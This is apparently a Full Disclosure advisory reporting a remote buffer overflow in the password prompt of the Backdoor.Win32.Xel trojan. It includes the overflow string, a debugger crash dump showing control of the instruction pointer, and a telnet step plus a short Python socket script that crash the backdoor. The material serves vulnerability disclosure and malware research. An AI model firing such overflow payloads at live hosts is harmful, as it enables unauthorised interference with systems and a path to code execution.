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Date: Thu, 21 Jan 2021 00:02:24 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Xel / Remote Authentication Buffer Overflow

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/3648c68bfe395fb9980ae547d881572c.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Xel
Vulnerability: Remote Authentication Buffer Overflow
Description: Xel listens on TCP port 8023 and requires authentication
good for them!, upon connecting you are greeted with a password
prompt:

XeL TROJAN based on ULTOR'S TROJAN

password:

For incorrect passwords we get "Wrong password" response. However, by
entering a password with a length of about 125 characters, we trigger
the buffer overflow vuln. Moreover, we can also send a larger payload
using TCP socket to supply shellcode.

Password string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB

The below PoC, last eight bytes 42424242 (B) will overwrite the
instruction pointer (EIP), potentially allowing control of the
malwares execution flow and undermining its authentication mechanism.

Type: PE32
MD5: 3648c68bfe395fb9980ae547d881572c
Vuln ID: MVID-2021-0044
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/21/2021

Memory Dump:
(13c.d54): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=42424242 edx=773e9d70 esi=00000000 edi=00000000
eip=42424242 esp=000a1680 ebp=000a16a0 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
42424242 ??              ???


0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** WARNING: Unable to verify checksum for
Backdoor.Win32.Xel.3648c68bfe395fb9980ae547d881572c.exe
*** ERROR: Module load completed but symbols could not be loaded for
Backdoor.Win32.Xel.3648c68bfe395fb9980ae547d881572c.exe

FAULTING_IP:
Backdoor_Win32_Xel_3648c68bfe395fb9980ae547d881572c+3610
00403610 8b4af8          mov     ecx,dword ptr [edx-8]

EXCEPTION_RECORD:  0019fa10 -- (.exr 0x19fa10)
ExceptionAddress: 00403610
(Backdoor_Win32_Xel_3648c68bfe395fb9980ae547d881572c+0x00003610)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 41414139
Attempt to read from address 41414139

PROCESS_NAME:  Backdoor.Win32.Xel.3648c68bfe395fb9980ae547d881572c.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p
referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000008

EXCEPTION_PARAMETER2:  42424242

WRITE_ADDRESS:  42424242

FOLLOWUP_IP:
kernel32!BaseThreadInitThunk+0
76e38630 8bff            mov     edi,edi

FAILED_INSTRUCTION_ADDRESS:
+0
42424242 ??              ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

IP_ON_HEAP:  41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

CONTEXT:  0019fa60 -- (.cxr 0x19fa60)
eax=0019ff44 ebx=0000007e ecx=532f749c edx=41414141 esi=0000007f edi=0000007f
eip=00403610 esp=0019fec0 ebp=0019ff4c iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
Backdoor_Win32_Xel_3648c68bfe395fb9980ae547d881572c+0x3610:
00403610 8b4af8          mov     ecx,dword ptr [edx-8] ds:002b:41414139=????????
Resetting default scope

ADDITIONAL_DEBUG_TEXT:  Followup set based on attribute
[Is_ChosenCrashFollowupThread] from Frame:[0] on
thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER:  from 41414141 to 00403610

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_42424242

PRIMARY_PROBLEM_CLASS:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_42424242

DEFAULT_BUCKET_ID:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_42424242

FRAME_ONE_INVALID: 1

STACK_TEXT:
0019fec0 00403610 backdoor_win32_xel+0x3610
0019ff54 41414141 unknown!printable+0x0
0019ff88 76e38654 kernel32!BaseThreadInitThunk+0x24
0019ff9c 773c4a77 ntdll!__RtlUserThreadStart+0x2f
0019ffe4 773c4a47 ntdll!_RtlUserThreadStart+0x1b


SYMBOL_NAME:  kernel32!BaseThreadInitThunk+0

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: kernel32

IMAGE_NAME:  kernel32.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  744765ce

STACK_COMMAND:  .cxr 000000000019FA60 ; kb ; dds 19fec0 ; kb

FAILURE_BUCKET_ID:
STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_42424242_c0000005_kernel32.dll!BaseThreadInitThunk

BUCKET_ID:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_42424242_BAD_IP_kernel32!BaseThreadInitThunk+0


Exploit/PoC-1:
TELNET x.x.x.x 8023

Enter a long string for password.


Exploit/PoC-2:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=8023

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    PBARBAR="A"*200+" HTTP/1.1\r\nHost: "+MALWARE_HOST+"\r\n\r\n"
    s.send(PBARBAR)
    s.close()

    print("Backdoor.Win32.Xel / Remote Authentication Buffer Overflow")
    print("MD5: 3648c68bfe395fb9980ae547d881572c")
    print("By Malvuln");

if __name__=="__main__":
    doit()


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or
otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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